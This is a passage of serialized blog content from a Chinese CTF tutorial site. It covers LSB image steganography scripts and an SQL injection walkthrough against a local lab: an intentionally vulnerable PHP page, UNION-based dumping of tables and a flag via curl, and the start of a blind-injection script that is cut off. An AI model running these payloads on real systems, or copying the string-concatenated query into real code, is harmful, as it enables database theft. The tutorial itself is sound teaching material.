是当前比特下标。\n",[32,4760,4761],{"class":34,"line":669},[32,4762,4743],{},[32,4764,4765],{"class":34,"line":675},[32,4766,4767],{},"        g = (g & 0xfe) | int(bits[i]); i += 1\n",[32,4769,4770],{"class":34,"line":681},[32,4771,4772],{},"        # 绿色通道同样处理。\n",[32,4774,4775],{"class":34,"line":686},[32,4776,4743],{},[32,4778,4779],{"class":34,"line":692},[32,4780,4781],{},"        b = (b & 0xfe) | int(bits[i]); i += 1\n",[32,4783,4784],{"class":34,"line":697},[32,4785,4786],{},"        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n",[32,4788,4789],{"class":34,"line":703},[32,4790,4791],{},"    new_pixels.append((r, g, b))\n",[32,4793,4794],{"class":34,"line":709},[32,4795,4796],{},"    # 修改后的像素放入新列表。\n",[32,4798,4799],{"class":34,"line":715},[32,4800,197],{"emptyLinePlaceholder":196},[32,4802,4804],{"class":34,"line":4803},34,[32,4805,4806],{},"img.putdata(new_pixels)\n",[32,4808,4810],{"class":34,"line":4809},35,[32,4811,4812],{},"# putdata()：把新像素列表写回图片对象。\n",[32,4814,4816],{"class":34,"line":4815},36,[32,4817,4818],{},"img.save('hidden.png')\n",[32,4820,4822],{"class":34,"line":4821},37,[32,4823,4824],{},"# save()：按扩展名格式保存为 PNG 文件。\n",[32,4826,4828],{"class":34,"line":4827},38,[32,4829,4830],{},"print(\"已生成 hidden.png\")\n",[15,4832,4833,4836,4837,4840,4841,4844],{},[29,4834,4835],{},"r & 0xfe"," 把最低位清零（",[29,4838,4839],{},"0xfe = 11111110","），",[29,4842,4843],{},"| bit"," 写入目标比特。",[283,4846,4848],{"id":4847},"_53-提取解题视角","5.3 提取（解题视角）",[15,4850,4851,4853],{},[138,4852,140],{},"：把像素最低位收集起来，按 8 位一组还原成字节，得到隐藏消息。",[15,4855,4856,4858],{},[138,4857,146],{},"：读取所有像素 → 依次取 R、G、B 的最低位 → 每 8 个比特拼成一个字节 → 遇到 0 结束。",[22,4860,4862],{"className":24,"code":4861,"language":26,"meta":27,"style":27},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open(path)：打开图片文件。\n# .convert('RGB')：统一转成 RGB 模式，避免调色板/透明度干扰。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移一位再或上新比特，等价于二进制拼接。\n        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符，到此停止。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串按 UTF-8 解码成字符串显示。\n",[29,4863,4864,4868,4872,4877,4882,4887,4892,4897,4902,4907,4912,4916,4921,4926,4931,4936,4941,4946,4951,4956,4961,4966,4970,4975,4979,4984],{"__ignoreMap":27},[32,4865,4866],{"class":34,"line":35},[32,4867,4646],{},[32,4869,4870],{"class":34,"line":41},[32,4871,197],{"emptyLinePlaceholder":196},[32,4873,4874],{"class":34,"line":47},[32,4875,4876],{},"img = Image.open('hidden.png').convert('RGB')\n",[32,4878,4879],{"class":34,"line":53},[32,4880,4881],{},"# Image.open(path)：打开图片文件。\n",[32,4883,4884],{"class":34,"line":175},[32,4885,4886],{},"# .convert('RGB')：统一转成 RGB 模式，避免调色板/透明度干扰。\n",[32,4888,4889],{"class":34,"line":181},[32,4890,4891],{},"bits = []\n",[32,4893,4894],{"class":34,"line":187},[32,4895,4896],{},"for r, g, b in img.getdata():\n",[32,4898,4899],{"class":34,"line":193},[32,4900,4901],{},"    bits += [r & 1, g & 1, b & 1]\n",[32,4903,4904],{"class":34,"line":200},[32,4905,4906],{},"    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n",[32,4908,4909],{"class":34,"line":206},[32,4910,4911],{},"    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n",[32,4913,4914],{"class":34,"line":212},[32,4915,197],{"emptyLinePlaceholder":196},[32,4917,4918],{"class":34,"line":218},[32,4919,4920],{},"data = bytearray()\n",[32,4922,4923],{"class":34,"line":224},[32,4924,4925],{},"for i in range(0, len(bits) - 7, 8):\n",[32,4927,4928],{"class":34,"line":230},[32,4929,4930],{},"    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n",[32,4932,4933],{"class":34,"line":236},[32,4934,4935],{},"    byte = 0\n",[32,4937,4938],{"class":34,"line":242},[32,4939,4940],{},"    for bit in bits[i:i+8]:\n",[32,4942,4943],{"class":34,"line":248},[32,4944,4945],{},"        byte = (byte \u003C\u003C 1) | bit\n",[32,4947,4948],{"class":34,"line":628},[32,4949,4950],{},"        # 左移一位再或上新比特，等价于二进制拼接。\n",[32,4952,4953],{"class":34,"line":633},[32,4954,4955],{},"        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n",[32,4957,4958],{"class":34,"line":639},[32,4959,4960],{},"    if byte == 0:\n",[32,4962,4963],{"class":34,"line":645},[32,4964,4965],{},"        # 字节 0 是隐藏时追加的结束符，到此停止。\n",[32,4967,4968],{"class":34,"line":651},[32,4969,3673],{},[32,4971,4972],{"class":34,"line":657},[32,4973,4974],{},"    data.append(byte)\n",[32,4976,4977],{"class":34,"line":663},[32,4978,197],{"emptyLinePlaceholder":196},[32,4980,4981],{"class":34,"line":669},[32,4982,4983],{},"print(data.decode())\n",[32,4985,4986],{"class":34,"line":675},[32,4987,4988],{},"# decode()：字节串按 UTF-8 解码成字符串显示。\n",[15,4990,254],{},[22,4992,4995],{"className":4993,"code":4994,"language":110,"meta":27},[108],"flag{lsb_steganography}\n",[29,4996,4994],{"__ignoreMap":27},[283,4998,5000],{"id":4999},"_54-现成工具","5.4 现成工具",[22,5002,5004],{"className":77,"code":5003,"language":79,"meta":27,"style":27},"gem install zsteg\nzsteg -a hidden.png\n",[29,5005,5006,5016],{"__ignoreMap":27},[32,5007,5008,5011,5013],{"class":34,"line":35},[32,5009,5010],{"class":86},"gem",[32,5012,91],{"class":90},[32,5014,5015],{"class":90}," zsteg\n",[32,5017,5018,5021,5024],{"class":34,"line":41},[32,5019,5020],{"class":86},"zsteg",[32,5022,5023],{"class":1016}," -a",[32,5025,4406],{"class":90},[15,5027,5028,5031],{},[29,5029,5030],{},"-a"," 全自动检测各种 LSB 变体。",[10,5033,2075],{"id":2074},[732,5035,5036,5047],{},[735,5037,5038],{},[738,5039,5040,5042,5044],{},[741,5041,816],{},[741,5043,2086],{},[741,5045,5046],{},"命令",[748,5048,5049,5061,5074,5090],{},[738,5050,5051,5053,5056],{},[753,5052,1218],{},[753,5054,5055],{},"看类型、看编码、看无后缀文件",[753,5057,5058],{},[29,5059,5060],{},"file flag",[738,5062,5063,5066,5069],{},[753,5064,5065],{},"xxd / hexdump",[753,5067,5068],{},"查看文件头、指定长度",[753,5070,5071],{},[29,5072,5073],{},"xxd -l 16 flag.png",[738,5075,5076,5078,5081],{},[753,5077,1262],{},[753,5079,5080],{},"提取字符串、指定长度、管道过滤",[753,5082,5083,66,5086,66,5088],{},[29,5084,5085],{},"strings flag.png",[29,5087,2118],{},[29,5089,2121],{},[738,5091,5092,5094,5097],{},[753,5093,4555],{},[753,5095,5096],{},"扫描、提取",[753,5098,5099,66,5102],{},[29,5100,5101],{},"binwalk flag.png",[29,5103,5104],{},"binwalk -e flag.png",[10,5106,5108],{"id":5107},"七小-ctf-实战藏了-flag-的-png","七、小 CTF 实战：藏了 flag 的 PNG",[15,5110,888,5111,320],{},[29,5112,5113],{},"flag.png",[15,5115,5116],{},"第一步：",[22,5118,5120],{"className":77,"code":5119,"language":79,"meta":27,"style":27},"file flag.png\n",[29,5121,5122],{"__ignoreMap":27},[32,5123,5124,5126],{"class":34,"line":35},[32,5125,1218],{"class":86},[32,5127,4558],{"class":90},[15,5129,1348,5130,320],{},[29,5131,5132],{},"PNG image data",[15,5134,5135],{},"第二步：",[22,5137,5138],{"className":77,"code":4517,"language":79,"meta":27,"style":27},[29,5139,5140],{"__ignoreMap":27},[32,5141,5142,5144,5146,5148,5150,5152],{"class":34,"line":35},[32,5143,1262],{"class":86},[32,5145,4434],{"class":90},[32,5147,1449],{"class":1120},[32,5149,1452],{"class":86},[32,5151,4532],{"class":1016},[32,5153,4535],{"class":90},[15,5155,5156],{},"无输出。",[15,5158,5159],{},"第三步：",[22,5161,5162],{"className":77,"code":4548,"language":79,"meta":27,"style":27},[29,5163,5164],{"__ignoreMap":27},[32,5165,5166,5168],{"class":34,"line":35},[32,5167,4555],{"class":86},[32,5169,4558],{"class":90},[15,5171,5172],{},"无隐藏文件。",[15,5174,5175],{},"第四步：怀疑 LSB，运行提取脚本，输出：",[22,5177,5179],{"className":5178,"code":4994,"language":110,"meta":27},[108],[29,5180,4994],{"__ignoreMap":27},[10,5182,2368],{"id":2367},[15,5184,5185,5186,5188,5189,2161,5191,5193],{},"Misc 入门三板斧：",[29,5187,1218],{}," 看类型、",[29,5190,1262],{},[29,5192,4555],{}," 排除简单情况、LSB 脚本提数据。音频隐写（Audacity 频谱图）、ZIP 伪加密、USB 流量分析在《隐写与取证深入实战》中完整展开。",[1051,5195,5196],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":27,"searchDepth":41,"depth":41,"links":5198},[5199,5200,5201,5202,5203,5204,5205,5206],{"id":4267,"depth":47,"text":4268},{"id":73,"depth":47,"text":74},{"id":4379,"depth":47,"text":4380},{"id":4541,"depth":47,"text":4542},{"id":4610,"depth":47,"text":4611},{"id":2074,"depth":47,"text":2075},{"id":5107,"depth":47,"text":5108},{"id":2367,"depth":47,"text":2368},"杂项三板斧：file/xxd 识别文件头、binwalk 提取隐藏文件、Python 实现 LSB 隐写的隐藏与提取。",{"date":1069,"image":5209,"alt":5210,"tags":5211,"published":196},"/blogs-img/blog4.png","CTF Misc 入门",[1073,5212],"misc","/blogs/ctf-misc-overview",{"title":4262,"description":5207},"blogs/13. ctf-misc-overview","XI4JQUKrJS4uak8Rm3ioTk2L2WukeCdhI54Ldj4FkRo",{"id":5218,"title":5219,"body":5220,"description":6612,"extension":1067,"meta":6613,"navigation":196,"ogImage":6614,"path":6619,"seo":6620,"stem":6621,"__hash__":6622},"content/blogs/14. ctf-web-sql-injection-deep-dive.md","SQL 注入深入实战：判断、UNION 拖库、盲注与防御",{"type":7,"value":5221,"toc":6601},[5222,5226,5229,5246,5256,5267,5274,5278,5282,5315,5321,5325,5328,5363,5368,5416,5422,5428,5432,5441,5446,5450,5455,5474,5476,5482,5486,5491,5507,5510,5516,5523,5527,5543,5549,5553,5569,5572,5586,5590,5595,5600,5607,5611,5619,5668,5671,5675,5683,5699,5705,5709,5725,5729,5733,5749,5754,5758,5774,5778,5793,5797,5813,5818,5824,5828,5833,5836,5840,5856,5861,5877,5882,5885,5894,6031,6034,6040,6044,6051,6067,6070,6074,6079,6083,6088,6111,6113,6119,6123,6143,6148,6152,6184,6191,6195,6239,6248,6255,6259,6264,6270,6440,6443,6455,6457,6463,6466,6587,6591,6598],[10,5223,5225],{"id":5224},"一现实背景sql-是怎么被拼出来的","一、现实背景：SQL 是怎么被拼出来的",[15,5227,5228],{},"普通程序员的查询代码：",[22,5230,5234],{"className":5231,"code":5232,"language":5233,"meta":27,"style":27},"language-php shiki shiki-themes dracula","$id = $_GET['id'];\n$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n","php",[29,5235,5236,5241],{"__ignoreMap":27},[32,5237,5238],{"class":34,"line":35},[32,5239,5240],{},"$id = $_GET['id'];\n",[32,5242,5243],{"class":34,"line":41},[32,5244,5245],{},"$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n",[15,5247,5248,5251,5252,5255],{},[29,5249,5250],{},"$id"," 被直接拼进 SQL 字符串。当 ",[29,5253,5254],{},"id=1 OR 1=1"," 时：",[22,5257,5261],{"className":5258,"code":5259,"language":5260,"meta":27,"style":27},"language-sql shiki shiki-themes dracula","SELECT id, title FROM articles WHERE id = 1 OR 1=1\n","sql",[29,5262,5263],{"__ignoreMap":27},[32,5264,5265],{"class":34,"line":35},[32,5266,5259],{},[15,5268,5269,5270,5273],{},"恒真，返回全表。",[138,5271,5272],{},"用户输入从\"数据\"变成了\"代码\"","，这就是 SQL 注入。",[10,5275,5277],{"id":5276},"二环境搭建二选一","二、环境搭建（二选一）",[283,5279,5281],{"id":5280},"方式-asqli-labs-靶场","方式 A：sqli-labs 靶场",[22,5283,5285],{"className":77,"code":5284,"language":79,"meta":27,"style":27},"git clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000\n",[29,5286,5287,5298,5305],{"__ignoreMap":27},[32,5288,5289,5292,5295],{"class":34,"line":35},[32,5290,5291],{"class":86},"git",[32,5293,5294],{"class":90}," clone",[32,5296,5297],{"class":90}," https://github.com/Audi-1/sqli-labs.git\n",[32,5299,5300,5302],{"class":34,"line":41},[32,5301,1808],{"class":1807},[32,5303,5304],{"class":90}," sqli-labs\n",[32,5306,5307,5309,5312],{"class":34,"line":47},[32,5308,5233],{"class":86},[32,5310,5311],{"class":1016}," -S",[32,5313,5314],{"class":90}," 127.0.0.1:8000\n",[15,5316,5317,5318,320],{},"浏览器访问，点 \"Setup/reset Database\"，之后打 ",[29,5319,5320],{},"Less-1",[283,5322,5324],{"id":5323},"方式-b自建漏洞页本文以此讲解","方式 B：自建漏洞页（本文以此讲解）",[15,5326,5327],{},"数据库：",[22,5329,5331],{"className":5258,"code":5330,"language":5260,"meta":27,"style":27},"CREATE DATABASE ctf;\nUSE ctf;\nCREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag VARCHAR(100));\nINSERT INTO flag VALUES ('flag{sql_injection}');\n",[29,5332,5333,5338,5343,5348,5353,5358],{"__ignoreMap":27},[32,5334,5335],{"class":34,"line":35},[32,5336,5337],{},"CREATE DATABASE ctf;\n",[32,5339,5340],{"class":34,"line":41},[32,5341,5342],{},"USE ctf;\n",[32,5344,5345],{"class":34,"line":47},[32,5346,5347],{},"CREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\n",[32,5349,5350],{"class":34,"line":53},[32,5351,5352],{},"INSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\n",[32,5354,5355],{"class":34,"line":175},[32,5356,5357],{},"CREATE TABLE flag (flag VARCHAR(100));\n",[32,5359,5360],{"class":34,"line":181},[32,5361,5362],{},"INSERT INTO flag VALUES ('flag{sql_injection}');\n",[15,5364,5365,1598],{},[29,5366,5367],{},"vuln.php",[22,5369,5371],{"className":5231,"code":5370,"language":5233,"meta":27,"style":27},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n$id = $_GET['id'];\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n$result = $conn->query($sql);\nwhile ($row = $result->fetch_assoc()) {\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n}\n?>\n",[29,5372,5373,5378,5383,5387,5392,5397,5402,5407,5411],{"__ignoreMap":27},[32,5374,5375],{"class":34,"line":35},[32,5376,5377],{},"\u003C?php\n",[32,5379,5380],{"class":34,"line":41},[32,5381,5382],{},"$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n",[32,5384,5385],{"class":34,"line":47},[32,5386,5240],{},[32,5388,5389],{"class":34,"line":53},[32,5390,5391],{},"$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n",[32,5393,5394],{"class":34,"line":175},[32,5395,5396],{},"$result = $conn->query($sql);\n",[32,5398,5399],{"class":34,"line":181},[32,5400,5401],{},"while ($row = $result->fetch_assoc()) {\n",[32,5403,5404],{"class":34,"line":187},[32,5405,5406],{},"    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n",[32,5408,5409],{"class":34,"line":193},[32,5410,2498],{},[32,5412,5413],{"class":34,"line":200},[32,5414,5415],{},"?>\n",[15,5417,5418,5419,320],{},"启动：",[29,5420,5421],{},"php -S 127.0.0.1:8000",[5423,5424,5425],"blockquote",{},[15,5426,5427],{},"说明：如果你的电脑不方便装 PHP+MySQL，可以跳过本节，用\"附录\"里的 Python+SQLite 模拟程序跑通同样的注入过程，原理完全一致。",[10,5429,5431],{"id":5430},"三核心步骤-1注入点判断","三、核心步骤 1：注入点判断",[15,5433,5434,5436,5437,5440],{},[138,5435,140],{},"：确认参数 ",[29,5438,5439],{},"id"," 能影响 SQL 逻辑，避免在非注入点上浪费时间。",[15,5442,5443,5445],{},[138,5444,146],{},"：用\"会破坏语法\"的单引号和\"改变查询条件\"的 AND 表达式做探测。单引号报错、恒真正常、恒假为空，三者齐备即确认。",[283,5447,5449],{"id":5448},"请求-1正常请求","请求 1：正常请求",[15,5451,5452,5454],{},[138,5453,140],{},"：记录正常响应的样子，作为后续对比的基线。",[22,5456,5458],{"className":77,"code":5457,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=1\"\n",[29,5459,5460],{"__ignoreMap":27},[32,5461,5462,5465,5468,5471],{"class":34,"line":35},[32,5463,5464],{"class":86},"curl",[32,5466,5467],{"class":1461}," \"",[32,5469,5470],{"class":90},"http://127.0.0.1:8000/vuln.php?id=1",[32,5472,5473],{"class":1461},"\"\n",[15,5475,1224],{},[22,5477,5480],{"className":5478,"code":5479,"language":110,"meta":27},[108],"1 hello world\n",[29,5481,5479],{"__ignoreMap":27},[283,5483,5485],{"id":5484},"请求-2单引号","请求 2：单引号",[15,5487,5488,5490],{},[138,5489,140],{},"：判断输入是否被拼进 SQL。拼进去了，单引号就会破坏语法。",[22,5492,5494],{"className":77,"code":5493,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n",[29,5495,5496],{"__ignoreMap":27},[32,5497,5498,5500,5502,5505],{"class":34,"line":35},[32,5499,5464],{"class":86},[32,5501,5467],{"class":1461},[32,5503,5504],{"class":90},"http://127.0.0.1:8000/vuln.php?id=1'",[32,5506,5473],{"class":1461},[15,5508,5509],{},"预期输出（报错）：",[22,5511,5514],{"className":5512,"code":5513,"language":110,"meta":27},[108],"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version ...\n",[29,5515,5513],{"__ignoreMap":27},[15,5517,5518,5519,5522],{},"原因：语句变成 ",[29,5520,5521],{},"WHERE id = 1'","，单引号未闭合。",[283,5524,5526],{"id":5525},"请求-3and-11","请求 3：AND 1=1",[22,5528,5530],{"className":77,"code":5529,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n",[29,5531,5532],{"__ignoreMap":27},[32,5533,5534,5536,5538,5541],{"class":34,"line":35},[32,5535,5464],{"class":86},[32,5537,5467],{"class":1461},[32,5539,5540],{"class":90},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1",[32,5542,5473],{"class":1461},[15,5544,1224,5545,5548],{},[29,5546,5547],{},"1 hello world","（条件真）。",[283,5550,5552],{"id":5551},"请求-4and-12","请求 4：AND 1=2",[22,5554,5556],{"className":77,"code":5555,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n",[29,5557,5558],{"__ignoreMap":27},[32,5559,5560,5562,5564,5567],{"class":34,"line":35},[32,5561,5464],{"class":86},[32,5563,5467],{"class":1461},[32,5565,5566],{"class":90},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2",[32,5568,5473],{"class":1461},[15,5570,5571],{},"预期输出：空（条件假）。",[15,5573,5574,5577,5578,5581,5582,5585],{},[138,5575,5576],{},"判定","：单引号报错 + ",[29,5579,5580],{},"1=1"," 正常 + ",[29,5583,5584],{},"1=2"," 为空 → 注入点确认。",[10,5587,5589],{"id":5588},"四核心步骤-2union-注入五步拖库","四、核心步骤 2：UNION 注入五步拖库",[15,5591,5592,5594],{},[138,5593,140],{},"：把数据库里的表和数据\"借\" UNION 查询显示到页面上。",[15,5596,5597,5599],{},[138,5598,146],{},"：UNION 合并两个查询，但要求列数一致；先把第一个查询置空（id=-1），再用回显列依次输出库名、表名、列名、数据。每一步都是下一步的前提：不知道库名就筛不出表，不知道表名就查不了列。",[15,5601,5602,5603,5606],{},"前提：第一个查询返回空（用 ",[29,5604,5605],{},"id=-1","），UNION 两个查询列数相同。",[283,5608,5610],{"id":5609},"第-1-步确定列数","第 1 步：确定列数",[15,5612,5613,1598,5615,5618],{},[138,5614,146],{},[29,5616,5617],{},"ORDER BY N"," 按第 N 列排序，N 超过实际列数时报错。从 1 试到报错为止，报错前的 N 就是列数。",[22,5620,5622],{"className":77,"code":5621,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4\"\n",[29,5623,5624,5635,5646,5657],{"__ignoreMap":27},[32,5625,5626,5628,5630,5633],{"class":34,"line":35},[32,5627,5464],{"class":86},[32,5629,5467],{"class":1461},[32,5631,5632],{"class":90},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1",[32,5634,5473],{"class":1461},[32,5636,5637,5639,5641,5644],{"class":34,"line":41},[32,5638,5464],{"class":86},[32,5640,5467],{"class":1461},[32,5642,5643],{"class":90},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2",[32,5645,5473],{"class":1461},[32,5647,5648,5650,5652,5655],{"class":34,"line":47},[32,5649,5464],{"class":86},[32,5651,5467],{"class":1461},[32,5653,5654],{"class":90},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3",[32,5656,5473],{"class":1461},[32,5658,5659,5661,5663,5666],{"class":34,"line":53},[32,5660,5464],{"class":86},[32,5662,5467],{"class":1461},[32,5664,5665],{"class":90},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4",[32,5667,5473],{"class":1461},[15,5669,5670],{},"前三条正常，第四条报错 → 共 3 列。",[283,5672,5674],{"id":5673},"第-2-步确认回显位","第 2 步：确认回显位",[15,5676,5677,1598,5679,5682],{},[138,5678,146],{},[29,5680,5681],{},"SELECT 1,2,3"," 的数字会显示在页面上，显示的哪个数字对应哪一列，哪一列就能用来输出数据。",[22,5684,5686],{"className":77,"code":5685,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n",[29,5687,5688],{"__ignoreMap":27},[32,5689,5690,5692,5694,5697],{"class":34,"line":35},[32,5691,5464],{"class":86},[32,5693,5467],{"class":1461},[32,5695,5696],{"class":90},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+",[32,5698,5473],{"class":1461},[15,5700,1224,5701,5704],{},[29,5702,5703],{},"2 3","。第 2、3 列内容会显示，作为后续输出位置。",[283,5706,5708],{"id":5707},"第-3-步查数据库名","第 3 步：查数据库名",[22,5710,5712],{"className":77,"code":5711,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n",[29,5713,5714],{"__ignoreMap":27},[32,5715,5716,5718,5720,5723],{"class":34,"line":35},[32,5717,5464],{"class":86},[32,5719,5467],{"class":1461},[32,5721,5722],{"class":90},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+",[32,5724,5473],{"class":1461},[15,5726,1224,5727,320],{},[29,5728,1073],{},[283,5730,5732],{"id":5731},"第-4-步查表名","第 4 步：查表名",[22,5734,5736],{"className":77,"code":5735,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n",[29,5737,5738],{"__ignoreMap":27},[32,5739,5740,5742,5744,5747],{"class":34,"line":35},[32,5741,5464],{"class":86},[32,5743,5467],{"class":1461},[32,5745,5746],{"class":90},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+",[32,5748,5473],{"class":1461},[15,5750,1224,5751,320],{},[29,5752,5753],{},"articles,flag,users",[283,5755,5757],{"id":5756},"第-5-步查列名","第 5 步：查列名",[22,5759,5761],{"className":77,"code":5760,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+\"\n",[29,5762,5763],{"__ignoreMap":27},[32,5764,5765,5767,5769,5772],{"class":34,"line":35},[32,5766,5464],{"class":86},[32,5768,5467],{"class":1461},[32,5770,5771],{"class":90},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+",[32,5773,5473],{"class":1461},[15,5775,1224,5776,320],{},[29,5777,3314],{},[15,5779,5780,5783,5784,5786,5787,5789,5790,5792],{},[138,5781,5782],{},"说明","：如果第 4 步看到多个表，比如 ",[29,5785,5753],{},"，优先怀疑 ",[29,5788,3314],{}," 表；列名可能不是 ",[29,5791,3314],{},"，需要本步用 information_schema.columns 确认。",[283,5794,5796],{"id":5795},"第-6-步拿数据","第 6 步：拿数据",[22,5798,5800],{"className":77,"code":5799,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n",[29,5801,5802],{"__ignoreMap":27},[32,5803,5804,5806,5808,5811],{"class":34,"line":35},[32,5805,5464],{"class":86},[32,5807,5467],{"class":1461},[32,5809,5810],{"class":90},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+",[32,5812,5473],{"class":1461},[15,5814,1224,5815,320],{},[29,5816,5817],{},"flag{sql_injection}",[15,5819,5820,5823],{},[138,5821,5822],{},"验证","：若第 6 步报错，通常是列名猜错，回到第 5 步把列名抄准再试。",[10,5825,5827],{"id":5826},"五核心步骤-3盲注页面不回显时","五、核心步骤 3：盲注（页面不回显时）",[15,5829,5830,5832],{},[138,5831,140],{},"：当页面既不显示查询结果也不报错时，把数据库当\"是与否\"的问答机，逐字符问出数据。",[15,5834,5835],{},"当页面不显示查询结果也不报错时，只能用\"是与否\"推断数据。",[283,5837,5839],{"id":5838},"_51-布尔盲注","5.1 布尔盲注",[22,5841,5843],{"className":77,"code":5842,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+\"\n",[29,5844,5845],{"__ignoreMap":27},[32,5846,5847,5849,5851,5854],{"class":34,"line":35},[32,5848,5464],{"class":86},[32,5850,5467],{"class":1461},[32,5852,5853],{"class":90},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+",[32,5855,5473],{"class":1461},[15,5857,5858,5859,320],{},"正常 → 库名第一个字符是 ",[29,5860,1855],{},[22,5862,5864],{"className":77,"code":5863,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+\"\n",[29,5865,5866],{"__ignoreMap":27},[32,5867,5868,5870,5872,5875],{"class":34,"line":35},[32,5869,5464],{"class":86},[32,5871,5467],{"class":1461},[32,5873,5874],{"class":90},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+",[32,5876,5473],{"class":1461},[15,5878,5879,5880,320],{},"为空 → 不是 ",[29,5881,441],{},[15,5883,5884],{},"自动化脚本：",[15,5886,5887,5889,5890,5893],{},[138,5888,146],{},"：对 flag 的每个位置，逐个尝试字符，问\"这一位是不是 ch\"；页面出现正常特征（如 ",[29,5891,5892],{},"hello","）就说明猜对，把字符记下再问下一位。",[22,5895,5897],{"className":24,"code":5896,"language":26,"meta":27,"style":27},"import requests, string\n# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n\nurl = \"http://127.0.0.1:8000/vuln.php\"\nresult = \"\"          # 保存已确认的 flag 片段\n\nfor pos in range(1, 50):\n    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n    found = False\n    for ch in string.printable:\n        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag 